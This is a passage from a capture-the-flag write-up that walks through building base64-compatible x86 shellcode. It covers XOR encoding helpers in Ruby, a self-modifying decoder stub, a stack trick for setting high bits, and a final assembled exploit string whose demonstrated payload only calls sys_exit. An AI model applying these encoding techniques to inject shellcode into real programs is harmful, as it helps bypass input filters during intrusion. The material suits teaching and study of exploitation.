Close! But because we're pushing 0, we end up with a NUL byte. So let's push something else:

push 0x41414141
pop eax

If we look at how that assembles, we get:

00000000  68 41 41 41 41 58                                 |hAAAAX|

Not only is it all Base64 compatible now, it also spells "hAAAAX", which is a fun coincidence. :)

The problem is, eax doesn't end up as 0, it's 0x41414141. You can verify this by adding "int 3" at the bottom, dumping a corefile, and loading it in gdb (feel free to use this trick throughout if you're following along, I'm using it constantly to verify my code snippings, but I'll only show it when the values are important):

$ ulimit -c unlimited
$ rm core
$ cat file.asm
bits 32

push 0x41414141
pop eax
int 3
$ nasm -o file file.asm
$ ./run_raw_code ./file
allocated 8 bytes of executable memory at: 0x41410000
fish: “./run_raw_code ./file” terminated by signal SIGTRAP (Trace or breakpoint trap)
$ gdb ./run_raw_code ./core
Core was generated by `./run_raw_code ./file`.
Program terminated with signal SIGTRAP, Trace/breakpoint trap.
#0  0x41410008 in ?? ()
(gdb) print/x $eax
$1 = 0x41414141

Anyway, if we don't like the value, we can xor a value with eax, provided that the value is also base64-compatible! So let's do that:

push 0x41414141
pop eax
xor eax, 0x41414141

Which assembles to:

00000000  68 41 41 41 41 58 35 41  41 41 41                 |hAAAAX5AAAA|

All right! You can verify using the debugger that, at the end, eax is, indeed, 0.

Encoding an arbitrary value in eax

If we can set eax to 0, does that mean we can set it to anything?

Since xor works at the byte level, the better question is: can you xor two base-64-compatible bytes together, and wind up with any byte?

Turns out, the answer is no. Not quite. Let's look at why!

We'll start by trying a pure bruteforce (this code is essentially from my solution):

SET = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
def find_bytes(b)
  SET.bytes.each do |b1|
    SET.bytes.each do |b2|
      if((b1 ^ b2) == b)
        return [b1, b2]
      end
    end
  end
  puts("Error: Couldn't encode 0x%02x!" % b)
  return nil
end

0.upto(255) do |i|
  puts("%x => %s" % [i, find_bytes(i)])
end

The full output is here, but the summary is:

0 => [65, 65]
1 => [66, 67]
2 => [65, 67]
3 => [65, 66]
...
7d => [68, 57]
7e => [70, 56]
7f => [70, 57]
Error: Couldn't encode 0x80!
80 =>
Error: Couldn't encode 0x81!
81 =>
Error: Couldn't encode 0x82!
82 =>
...

Basically, we can encode any value that doesn't have the most-significant bit set (ie, anything under 0x80). That's going to be a problem that we'll deal with much, much later.

Since many of our instructions operate on 4-byte values, not 1-byte values, we want to operate in 4-byte chunks. Fortunately, xor is byte-by-byte, so we just need to treat it as four individual bytes:

def get_xor_values_32(desired)
  # Convert the integer into a string (pack()), then into the four bytes
  b1, b2, b3, b4 = [desired].pack('N').bytes()

  v1 = find_bytes(b1)
  v2 = find_bytes(b2)
  v3 = find_bytes(b3)
  v4 = find_bytes(b4)

  # Convert both sets of xor values back into integers
  result = [
    [v1[0], v2[0], v3[0], v4[0]].pack('cccc').unpack('N').pop(),
    [v1[1], v2[1], v3[1], v4[1]].pack('cccc').unpack('N').pop(),
  ]


  # Note: I comment these out for many of the examples, simply for brevity
  puts '0x%08x' % result[0]
  puts '0x%08x' % result[1]
  puts('----------')
  puts('0x%08x' % (result[0] ^ result[1]))
  puts()

  return result
end

This function takes a single 32-bit value and it outputs the two xor values (note that this won't work when the most significant bit is set.. stay tuned for that!):

irb(main):039:0> get_xor_values_32(0x01020304)
0x42414141
0x43434245
----------
0x01020304

=> [1111572801, 1128481349]

irb(main):040:0> get_xor_values_32(0x41414141)
0x6a6a6a6a
0x2b2b2b2b
----------
0x41414141

=> [1785358954, 724249387]

And so on.

So if we want to set eax to 0x00000001 (for the sys_exit syscall), we can simply feed it into this code and convert it to assembly:

get_xor_values_32(0x01)
0x41414142
0x41414143
----------
0x00000001

=> [1094795586, 1094795587]

Then write the shellcode:

push 0x41414142
pop eax
xor eax, 0x41414143

And prove to ourselves that it's base-64-compatible; I believe in doing this, because every once in awhile an instruction like "inc eax" (which becomes '@') will slip in when I'm not paying attention:

$ hexdump -C file
00000000  68 42 41 41 41 58 35 43  41 41 41                 |hBAAAX5CAAA|

We'll be using that exact pattern a lot - push (value) / pop eax / xor eax, (other value). It's the most fundamental building block of this project!

Setting other registers

Sadly, unless I missed something, there's no easy way to set other registers. We can increment or decrement them, and we can pop values off the stack into some of them, but we don't have the ability to xor, mov, or anything else useful!

There are basically three registers that we have easy access to:

  • 58 pop eax
  • 59 pop ecx
  • 5A pop edx

So to set ecx to an arbitrary value, we can do it via eax:

push 0x41414142
pop eax
xor eax, 0x41414143 ; eax -> 1
push eax
pop ecx ; ecx -> 1

Then verify the base64-ness:

$ hexdump -C file
00000000  68 42 41 41 41 58 35 43  41 41 41 50 59           |hBAAAX5CAAAPY|

Unfortunately, if we try the same thing with ebx, we hit a non-base64 character:

$ hexdump -C file
00000000  68 42 41 41 41 58 35 43  41 41 41 50 5b           |hBAAAX5CAAAP[|

Note the "[" at the end - that's not in our character set! So we're pretty much limited to using eax, ecx, and edx for most things.

But wait, there's more! We do, however, have access to popad. The popad instruction pops the next 8 things off the stack and puts them in all 8 registers. It's a bit of a scorched-earth method, though, because it overwrites all registers. We're going to use it at the start of our code to zero-out all the registers.

Let's try to convert our exit shellcode from earlier:

mov eax, 0x01 ; Syscall 1 = sys_exit
mov ebx, 0x41414141 ; First (and only) parameter: the exit code
int 0x80

Into something that's base-64 friendly:

; We'll start by populating the stack with 0x41414141's
push 0x41414141
push 0x41414141
push 0x41414141
push 0x41414141
push 0x41414141
push 0x41414141
push 0x41414141
push 0x41414141

; Then popad to set all the registers to 0x41414141
popad

; Then set eax to 1
push 0x41414142
pop eax
xor eax, 0x41414143

; Finally, do our syscall (as usual, we're going to ignore the fact that the syscall isn't base64 compatible)
int 0x80

Prove that it uses only base64 characters (except the syscall):

$ hexdump -C file
00000000  68 41 41 41 41 68 41 41  41 41 68 41 41 41 41 68  |hAAAAhAAAAhAAAAh|
00000010  41 41 41 41 68 41 41 41  41 68 41 41 41 41 68 41  |AAAAhAAAAhAAAAhA|
00000020  41 41 41 68 41 41 41 41  61 68 42 41 41 41 58 35  |AAAhAAAAahBAAAX5|
00000030  43 41 41 41 cd 80                                 |CAAA..|

And prove that it still works:

$ strace ./run_raw_code ./file
...
read(3, "hAAAAhAAAAhAAAAhAAAAhAAAAhAAAAhA"..., 54) = 54
exit(1094795585)                        = ?

Encoding the actual code

You've probably noticed by now: this is a lot of work. Especially if you want to set each register to a different non-base64-compatible value! You have to encode each value by hand, making sure you set eax last (because it's our working register). And what if you need an instruction (like add, or shift) that isn't available? Do we just simulate it?

As I'm sure you've noticed, the machine code is just a bunch of bytes. What's stopping us from simply encoding the machine code rather than just values?

Let's take our original example of an exit again:

mov eax, 0x01 ; Syscall 1 = sys_exit
mov ebx, 0x41414141 ; First (and only) parameter: the exit code
int 0x80

Because 'mov' assembles to 0xb8XXXXXX, I don't want to deal with that yet (the most-significant bit is set). So let's change it a bit to keep each byte (besides the syscall) under 0x80:

00000000  6A01              push byte +0x1
00000002  58                pop eax
00000003  6841414141        push dword 0x41414141
00000008  5B                pop ebx

Or, as a string of bytes:

"\x6a\x01\x58\x68\x41\x41\x41\x41\x5b"

Let's pad that to a multiple of 4 so we can encode in 4-byte chunks (we pad with 'A', because it's as good a character as any):

"\x6a\x01\x58\x68\x41\x41\x41\x41\x5b\x41\x41\x41"

then break that string into 4-byte chunks, encoding as little endian (reverse byte order):

  • 6a 01 58 68 -> 0x6858016a
  • 41 41 41 41 -> 0x41414141
  • 5b 41 41 41 -> 0x4141415b

Then run each of those values through our get_xor_values_32() function from earlier:

irb(main):047:0> puts '0x%08x ^ 0x%08x' % get_xor_values_32(0x6858016a)
0x43614241 ^ 0x2b39432b

irb(main):048:0> puts '0x%08x ^ 0x%08x' % get_xor_values_32(0x41414141)
0x6a6a6a6a ^ 0x2b2b2b2b

irb(main):050:0> puts '0x%08x ^ 0x%08x' % get_xor_values_32(0x4141415b)
0x6a6a6a62 ^ 0x2b2b2b39

Let's start our decoder by simply calculating each of these values in eax, just to prove that they're all base64-compatible (note that we are simply discarding the values in this example, we aren't doing anything with them quite yet):

push 0x43614241
pop eax
xor eax, 0x2b39432b ; 0x6858016a

push 0x6a6a6a6a
pop eax
xor eax, 0x2b2b2b2b ; 0x41414141

push 0x6a6a6a62
pop eax
xor eax, 0x2b2b2b39 ; 0x4141415b

Which assembles to:

$ hexdump -Cv file
00000000  68 41 42 61 43 58 35 2b  43 39 2b 68 6a 6a 6a 6a  |hABaCX5+C9+hjjjj|
00000010  58 35 2b 2b 2b 2b 68 62  6a 6a 6a 58 35 39 2b 2b  |X5++++hbjjjX59++|
00000020  2b                                                |+|

Looking good so far!

Decoder stub

Okay, we've proven that we can encode instructions (without the most significant bit set)! Now we actually want to run it!

Basically: our shellcode is going to start with a decoder, followed by a bunch of encoded bytes. We'll also throw some padding in between to make this easier to do by hand. The entire decoder has to be made up of base64-compatible bytes, but the encoded payload (ie, the shellcode) has no restrictions.

So now we actually want to alter the shellcode in memory (self-rewriting code!). We need an instruction to do that, so let's look back at the list of available instructions! After some searching, I found one that's promising:

3151??            xor [ecx+0x??],edx

This command xors the 32-bit value at memory address ecx+0x?? with edx. We know we can easily control ecx (push (value) / pop eax / xor (other value) / push eax / pop ecx) and, similarly edx. Since the "0x??" value has to also be a base64 character, we'll follow our trend and use [ecx+0x41], which gives us:

315141            xor [ecx+0x41],edx

Once I found that command, things started coming together! Since I can control eax, ecx, and edx pretty cleanly, that's basically the perfect instruction to decode our shellcode in-memory!

This is somewhat complex, so let's start by looking at the steps involved:

  • Load the encoded shellcode (half of the xor pair, ie, the return value from get_xor_values_32()) into a known memory address (in our case, it's going to be 0x141 bytes after the start of our code)
  • Set ecx to the value that's 0x41 bytes before that encoded shellcode (0x100)
  • For each 32-bit pair in the encoded shellcode...
    • Load the other half of the xor pair into edx
    • Do the xor to alter it in-memory (ie, decode it back to the original, unencoded value)
    • Increment ecx to point at the next value
    • Repeat for the full payload
  • Run the newly decoded payload

For the sake of our sanity, we're going to make some assumptions in the code: first, our code is loaded to the address 0x41410000 (which it is, for this challenge). Second, the decoder stub is exactly 0x141 bytes long (we will pad it to get there). Either of these can be easily worked around, but it's not necessary to do the extra work in order to grok the decoder concept.

Recall that for our sys_exit shellcode, the xor pairs we determined were: 0x43614241 ^ 0x2b39432b, 0x6a6a6a6a ^ 0x2b2b2b2b, and 0x6a6a6a62 ^ 0x2b2b2b39.

Here's the code:

; Set ecx to 0x41410100 (0x41 bytes less than the start of the encoded data)
push 0x6a6a4241
pop eax
xor eax, 0x2b2b4341 ; eax -> 0x41410100
push eax
pop ecx ; ecx -> 0x41410100

; Set edx to the first value in the first xor pair
push 0x43614241
pop edx

; xor it with the second value in the first xor pair (which is at ecx + 0x41)
xor [ecx+0x41], edx

; Move ecx to the next 32-bit value
inc ecx
inc ecx
inc ecx
inc ecx

; Set edx to the first value in the second xor pair
push 0x6a6a6a6a
pop edx

; xor + increment ecx again
xor [ecx+0x41], edx
inc ecx
inc ecx
inc ecx
inc ecx

; Set edx to the first value in the third and final xor pair, and xor it
push 0x6a6a6a62
pop edx
xor [ecx+0x41], edx

; At this point, I assembled the code and counted the bytes; we have exactly 0x30 bytes of code so far. That means to get our encoded shellcode to exactly 0x141 bytes after the start, we need 0x111 bytes of padding ('A' translates to inc ecx, so it's effectively a no-op because the encoded shellcode doesn't care what ecx starts as):
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
db 'AAAAAAAAAAAAAAAAA'

; Now, the second halves of our xor pairs; this is what gets modified in-place
dd 0x2b39432b
dd 0x2b2b2b2b
dd 0x2b2b2b39

; And finally, we're going to cheat and just do a syscall that's non-base64-compatible
int 0x80

All right! Here's what it gives us; note that other than the syscall at the end (we'll get to that, I promise!), it's all base64:

$ hexdump -Cv file
00000000  68 41 42 6a 6a 58 35 41  43 2b 2b 50 59 68 41 42  |hABjjX5AC++PYhAB|
00000010  61 43 5a 31 51 41 41 41  41 41 68 6a 6a 6a 6a 5a  |aCZ1QAAAAAhjjjjZ|
00000020  31 51 41 41 41 41 41 68  62 6a 6a 6a 5a 31 51 41  |1QAAAAAhbjjjZ1QA|
00000030  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
00000040  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
00000050  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
00000060  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
00000070  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
00000080  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
00000090  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
000000a0  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
000000b0  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
000000c0  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
000000d0  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
000000e0  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
000000f0  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
00000100  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
00000110  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
00000120  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
00000130  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
00000140  41 2b 43 39 2b 2b 2b 2b  2b 39 2b 2b 2b cd 80     |A+C9+++++9+++..|

To run this, we have to patch run_raw_code.c to load the code to the correct address:

diff --git a/forensics/ximage/solution/run_raw_code.c b/forensics/ximage/solution/run_raw_code.c
index 9eadd5e..1ad83f1 100644
--- a/forensics/ximage/solution/run_raw_code.c
+++ b/forensics/ximage/solution/run_raw_code.c
@@ -12,7 +12,7 @@ int main(int argc, char *argv[]){
     exit(0);
   }

-  void * a = mmap(0, statbuf.st_size, PROT_EXEC |PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_SHARED, -1, 0);
+  void * a = mmap(0x41410000, statbuf.st_size, PROT_EXEC |PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_SHARED, -1, 0);
   printf("allocated %d bytes of executable memory at: %p\n", statbuf.st_size, a);

   FILE *file = fopen(argv[1], "rb");

You'll also have to compile it in 32-bit mode:

$ gcc -m32 -o run_raw_code run_raw_code.c

Once that's done, give 'er a shot:

$ strace ~/projects/ctf-2017-release/forensics/ximage/solution/run_raw_code ./file
[...]
read(3, "hABjjX5AC++PYhABaCZ1QAAAAAhjjjjZ"..., 335) = 335
exit(1094795585)                        = ?

We did it, team!

If we want to actually inspect the code, we can change the very last padding 'A' into 0xcc (aka, int 3, or a SIGTRAP):

$ diff -u file.asm file-trap.asm
--- file.asm    2017-06-11 13:17:57.766651742 -0700
+++ file-trap.asm       2017-06-11 13:17:46.086525100 -0700
@@ -45,7 +45,7 @@
 db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
 db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
 db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
-db 'AAAAAAAAAAAAAAAAA'
+db 'AAAAAAAAAAAAAAAA', 0xcc

 ; Now, the second halves of our xor pairs
 dd 0x2b39432b

And run it with corefiles enabled:

$ nasm -o file file.asm
$ ulimit -c unlimited
$ ~/projects/ctf-2017-release/forensics/ximage/solution/run_raw_code ./file
allocated 335 bytes of executable memory at: 0x41410000
fish: “~/projects/ctf-2017-release/for...” terminated by signal SIGTRAP (Trace or breakpoint trap)
$ gdb ~/projects/ctf-2017-release/forensics/ximage/solution/run_raw_code ./core
Core was generated by `/home/ron/projects/ctf-2017-release/forensics/ximage/solution/run_raw_code ./fi`.
Program terminated with signal SIGTRAP, Trace/breakpoint trap.
#0  0x41410141 in ?? ()
(gdb) x/10i $eip
=> 0x41410141:  push   0x1
   0x41410143:  pop    eax
   0x41410144:  push   0x41414141
   0x41410149:  pop    ebx
   0x4141014a:  inc    ecx
   0x4141014b:  inc    ecx
   0x4141014c:  inc    ecx
   0x4141014d:  int    0x80
   0x4141014f:  add    BYTE PTR [eax],al
   0x41410151:  add    BYTE PTR [eax],al

As you can see, our original shellcode is properly decoded! (The inc ecx instructions you're seeing is our padding.)

The decoder stub and encoded shellcode can be quite easily generated programmatically rather than doing it by hand, which is extremely error prone (it took me 4 tries to get it right - I messed up the start address, I compiled run_raw_code in 64-bit mode, and I got the endianness backwards before I finally got it right, which doesn't sound so bad, except that I had to go back and re-write part of this section and re-run most of the commands to get the proper output each time :) ).

That pesky most-significant-bit

So, I've been avoiding this, because I don't think I solved it in a very elegant way. But, my solution works, so I guess that's something. :)

As usual, we start by looking at our set of available instructions to see what we can use to set the most significant bit (let's start calling it the "MSB" to save my fingers).

Unfortunately, the easy stuff can't help us; xor can only set it if it's already set somewhere, we don't have any shift instructions, inc would take forever, and the subtract and multiply instructions could probably work, but it would be tricky.

Let's start with a simple case: can we set edx to 0x80?

First, let's set edx to the highest value we can, 0x7F (we choose edx because a) it's one of the three registers we can easily pop into; b) eax is our working variable since it's the only one we can xor; and c) we don't want to change ecx once we start going, since it points to the memory we're decoding):

irb(main):057:0> puts '0x%08x ^ 0x%08x' % get_xor_values_32(0x0000007F)
0x41414146 ^ 0x41414139

Using those values and our old push / pop / xor pattern, we can set edx to 0x80:

push 0x41414146
pop eax
xor eax, 0x41414139 ; eax -> 0x7F
push eax
pop edx ; edx -> 0x7F

; Now that edx is 0x7F, we can simply increment it
inc edx ; edx -> 0x80

That works out to:

00000000  68 46 41 41 41 58 35 39  41 41 41 50 5a 42        |hFAAAX59AAAPZB|

So far so good! Now we can do our usual xor to set that one bit in our decoded code:

xor [ecx+0x41], edx

This sets the MSB of whatever ecx+0x41 (our current instruction) is.

If we were decoding a single bit at a time, we'd be done. Unfortunately, we aren't so lucky - we're working in 32-bit (4-byte) chunks.

Setting edx to 0x00008000, 0x00800000, or 0x80000000

So how do we set edx to 0x00008000, 0x00800000, or 0x80000000 without having a shift instruction?

This is where I introduce a pretty ugly hack. In effect, we use some stack shenanigans to perform a poor-man's shift. This won't work on most non-x86/x64 systems, because they require a word-aligned stack (I was actually a little surprised it worked on x86, to be honest!).

Let's say we want 0x00008000. Let's just look at the code:

; Set all registers to 0 so we start with a clean slate, using the popad strategy from earlier (we need a register that's reliably 0)
push 0x41414141
pop eax
xor eax, 0x41414141
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
popad

; Set edx to 0x00000080, just like before
push 0x41414146
pop eax
xor eax, 0x41414139 ; eax -> 0x7F
push eax
pop edx ; edx -> 0x7F
inc edx ; edx -> 0x80

; Push edi (which, like all registers, is 0) onto the stack
push edi ; 0x00000000

; Push edx onto the stack
push edx

; Move esp by 1 byte - note that this won't work on many architectures, but x86/x64 are fine with a misaligned stack
dec esp

; Get edx back, shifted by one byte
pop edx

; Fix the stack (not <em>really</em> necessary, but it's nice to do it
inc esp

; Add a debug breakpoint so we can inspect the value
int 3

And we can use gdb to prove it works with the same trick as before:

$ nasm -o file file.asm
$ rm -f core
$ ulimit -c unlimited
$ ./run_raw_code ./file
allocated 41 bytes of executable memory at: 0x41410000
fish: “~/projects/ctf-2017-release/for...” terminated by signal SIGTRAP (Trace or breakpoint trap)
$ gdb ./run_raw_code ./core
Program terminated with signal SIGTRAP, Trace/breakpoint trap.
#0  0x41410029 in ?? ()
(gdb) print/x $edx
$1 = 0x8000

We can do basically the exact same thing to set the third byte:

push edi ; 0x00000000
push edx
dec esp
dec esp ; <-- New
pop edx
inc esp
inc esp ; <-- New

And the fourth:

push edi ; 0x00000000
push edx
dec esp
dec esp
dec esp ; <-- New
pop edx
inc esp
inc esp
inc esp ; <-- New

Putting it all together

You can take a look at how I do this in my final code. It's going to be a little different, because instead of using our xor trick to set edx to 0x7F, I instead push 0x7a / pop edx / increment 6 times. The only reason is that I didn't think of the xor trick when I was writing the original code, and I don't want to mess with it now.

But, we're going to do it the hard way: by hand! I'm literally writing this code as I write the blog (and, message from the future: it worked on the second try :) ).

Let's just stick with our simple exit-with-0x41414141-status shellcode:

mov eax, 0x01 ; Syscall 1 = sys_exit
mov ebx, 0x41414141 ; First (and only) parameter: the exit code
int 0x80

Which assembles to this, which is conveniently already a multiple of 4 bytes so no padding required:

00000000  b8 01 00 00 00 bb 41 41  41 41 cd 80              |......AAAA..|

Since we're doing it by hand, let's extract all the MSBs into a separate string (remember, this is all done programmatically usually):

00000000  38 01 00 00 00 3b 41 41  41 41 4d 00              |......AAAA..|
00000000  80 00 00 00 00 80 00 00  00 00 80 80              |......AAAA..|

If you xor those two strings together, you'll get the original string back.

First, let's worry about the first string. It's handled exactly the way we did the last example. We start by getting the three 32-bit values as little endian values:

  • 38 01 00 00 -> 0x00000138
  • 00 3b 41 41 -> 0x41413b00
  • 41 41 4d 00 -> 0x004d4141

And then find the xor pairs to generate them just like before:

irb(main):061:0> puts '0x%08x ^ 0x%08x' % get_xor_values_32(0x00000138)
0x41414241 ^ 0x41414379

irb(main):062:0> puts '0x%08x ^ 0x%08x' % get_xor_values_32(0x41413b00)
0x6a6a4141 ^ 0x2b2b7a41

irb(main):063:0> puts '0x%08x ^ 0x%08x' % get_xor_values_32(0x004d4141)
0x41626a6a ^ 0x412f2b2b

But here's where the twist comes: let's take the MSB string above, and also convert that to little-endian integers:

  • 80 00 00 00 -> 0x00000080
  • 00 80 00 00 -> 0x00008000
  • 00 00 80 80 -> 0x80800000

Now, let's try writing our decoder stub just like before, except that after decoding the MSB-free vale, we're going to separately inject the MSBs into the code!

; Set all registers to 0 so we start with a clean slate, using the popad strategy from earlier
push 0x41414141
pop eax
xor eax, 0x41414141
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
popad

; Set ecx to 0x41410100 (0x41 bytes less than the start of the encoded data)
push 0x6a6a4241
pop eax
xor eax, 0x2b2b4341 ; 0x41410100
push eax
pop ecx

; xor the first pair
push 0x41414241
pop edx
xor [ecx+0x41], edx

; Now we need to xor with 0x00000080, so let's load it into edx
push 0x41414146
pop eax
xor eax, 0x41414139 ; 0x0000007F
push eax
pop edx
inc edx ; edx is now 0x00000080
xor [ecx+0x41], edx

; Move to the next value
inc ecx
inc ecx
inc ecx
inc ecx

; xor the second pair
push 0x6a6a4141
pop edx
xor [ecx+0x41], edx

; Now we need to xor with 0x00008000
push 0x41414146
pop eax
xor eax, 0x41414139 ; 0x0000007F
push eax
pop edx
inc edx ; edx is now 0x00000080

push edi ; 0x00000000
push edx
dec esp
pop edx ; edx is now 0x00008000
inc esp
xor [ecx+0x41], edx

; Move to the next value
inc ecx
inc ecx
inc ecx
inc ecx

; xor the third pair
push 0x41626a6a
pop edx
xor [ecx+0x41], edx

; Now we need to xor with 0x80800000; we'll do it in two operations, with 0x00800000 first
push 0x41414146
pop eax
xor eax, 0x41414139 ; 0x0000007F
push eax
pop edx
inc edx ; edx is now 0x00000080
push edi ; 0x00000000
push edx
dec esp
dec esp
pop edx ; edx is now 0x00800000
inc esp
inc esp
xor [ecx+0x41], edx

; And then the 0x80000000
push 0x41414146
pop eax
xor eax, 0x41414139 ; 0x0000007F
push eax
pop edx
inc edx ; edx is now 0x00000080
push edi ; 0x00000000
push edx
dec esp
dec esp
dec esp
pop edx ; edx is now 0x00800000
inc esp
inc esp
inc esp
xor [ecx+0x41], edx

; Padding (calculated based on the length above, subtracted from 0x141)
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
db 'AAAAAAAAAAAAAAAAAAAA'

; The second halves of the pairs (ie, the encoded data; this is where the decoded data will end up by the time execution gets here)
dd 0x41414379
dd 0x2b2b7a41
dd 0x412f2b2b

And that's it! Let's try it out! The code leading up to the padding assembles to:

00000000  68 41 41 41 41 58 35 41  41 41 41 50 50 50 50 50  |hAAAAX5AAAAPPPPP|
00000010  50 50 50 61 68 41 42 6a  6a 58 35 41 43 2b 2b 50  |PPPahABjjX5AC++P|
00000020  59 68 41 42 41 41 5a 31  51 41 68 46 41 41 41 58  |YhABAAZ1QAhFAAAX|
00000030  35 39 41 41 41 50 5a 42  31 51 41 41 41 41 41 68  |59AAAPZB1QAAAAAh|
00000040  41 41 6a 6a 5a 31 51 41  68 46 41 41 41 58 35 39  |AAjjZ1QAhFAAAX59|
00000050  41 41 41 50 5a 42 57 52  4c 5a 44 31 51 41 41 41  |AAAPZBWRLZD1QAAA|
00000060  41 41 68 6a 6a 62 41 5a  31 51 41 68 46 41 41 41  |AAhjjbAZ1QAhFAAA|
00000070  58 35 39 41 41 41 50 5a  42 57 52 4c 4c 5a 44 44  |X59AAAPZBWRLLZDD|
00000080  31 51 41 68 46 41 41 41  58 35 39 41 41 41 50 5a  |1QAhFAAAX59AAAPZ|
00000090  42 57 52 4c 4c 4c 5a 44  44 44 31 51 41           |BWRLLLZDDD1QA|

We can verify it's all base64 by eyeballing it. We can also determine that it's 0x9d bytes long, which means to get to 0x141 we need to pad it with 0xa4 bytes (already included above) before the encoded data.

We can dump allll that code into a file, and run it with run_raw_code (don't forget to apply the patch from earlier to change the base address to 0x41410000, and don't forget to compile with -m32 for 32-bit mode):

$ nasm -o file file.asm
$ strace ./run_raw_code ./file
read(3, "hAAAAX5AAAAPPPPPPPPahABjjX5AC++P"..., 333) = 333
exit(1094795585)                        = ?
+++ exited with 65 +++

It works! And it only took me two tries (I missed the 'inc ecx' lines the first time :) ).

I realize that it's a bit inefficient to encode 3 lines into like 100, but that's the cost of having a limited character set!

Solving the level

Bringing it back to the actual challenge...

Now that we have working base 64 code, the rest is pretty simple. Since the app encodes the base64 for us, we have to take what we have and decode it first, to get the string that would generate the base64 we want.

Because base64 works in blocks and has padding, we're going to append a few meaningless bytes to the end so that if anything gets messed up by being a partial block, they will.

Here's the full "exploit", assembled:

hAAAAX5AAAAPPPPPPPPahABjjX5AC++PYhABAAZ1QAhFAAAX59AAAPZB1QAAAAAhAAjjZ1QAhFAAAX59AAAPZBWRLZD1QAAAAAhjjbAZ1QAhFAAAX59AAAPZBWRLLZDD1QAhFAAAX59AAAPZBWRLLLZDDD1QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyCAAAz++++/A

We're going to add a few 'A's to the end for padding (the character we choose is meaningless), and run it through base64 -d (adding '='s to the end until we stop getting decoding errors):

$ echo 'hAAAAX5AAAAPPPPPPPPahABjjX5AC++PYhABAAZ1QAhFAAAX59AAAPZB1QAAAAAhAAjjZ1QAhFAAAX59AAAPZBWRLZD1QAAAAAhjjbAZ1QAhFAAAX59AAAPZBWRLLZDD1QAhFAAAX59AAAPZBWRLLLZDDD1QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyCAAAz++++/AAAAAAA=' | base64 -d | hexdump -Cv
00000000  84 00 00 01 7e 40 00 00  0f 3c f3 cf 3c f3 da 84  |....~@...<..<...|
00000010  00 63 8d 7e 40 0b ef 8f  62 10 01 00 06 75 40 08  |.c.~@...b....u@.|
00000020  45 00 00 17 e7 d0 00 00  f6 41 d5 00 00 00 00 21  |E........A.....!|
00000030  00 08 e3 67 54 00 84 50  00 01 7e 7d 00 00 0f 64  |...gT..P..~}...d|
00000040  15 91 2d 90 f5 40 00 00  00 08 63 8d b0 19 d5 00  |..-..@....c.....|
00000050  21 14 00 00 5f 9f 40 00  03 d9 05 64 4b 2d 90 c3  |!..._.@....dK-..|
00000060  d5 00 21 14 00 00 5f 9f  40 00 03 d9 05 64 4b 2c  |..!..._.@....dK,|
00000070  b6 43 0c 3d 50 00 00 00  00 00 00 00 00 00 00 00  |.C.=P...........|
00000080  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000090  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
000000a0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
